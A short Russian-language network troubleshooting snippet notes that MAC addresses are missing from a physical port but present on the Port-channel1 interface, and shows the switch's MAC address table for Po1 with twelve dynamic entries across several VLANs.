как видим маков на порту нет, зато они есть на Port-channel1 интерфейсе

sh mac-address-table interface Po1    
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
   1    000a.b83c.ebce    DYNAMIC     Po1
   1    000a.b83c.ebff    DYNAMIC     Po1
 201    000a.b83c.ebce    DYNAMIC     Po1
 201    649e.f335.465a    DYNAMIC     Po1
 649    000a.b83c.ebce    DYNAMIC     Po1
 650    000a.b83c.ebce    DYNAMIC     Po1
 650    649e.f354.8901    DYNAMIC     Po1
2501    000a.b83c.ebce    DYNAMIC     Po1
2501    649e.f354.8901    DYNAMIC     Po1
 206    000a.b83c.ebce    DYNAMIC     Po1
 209    000a.b83c.ebce    DYNAMIC     Po1
 209    3085.a96b.5690    DYNAMIC     Po1
Total Mac Addresses for this criterion: 12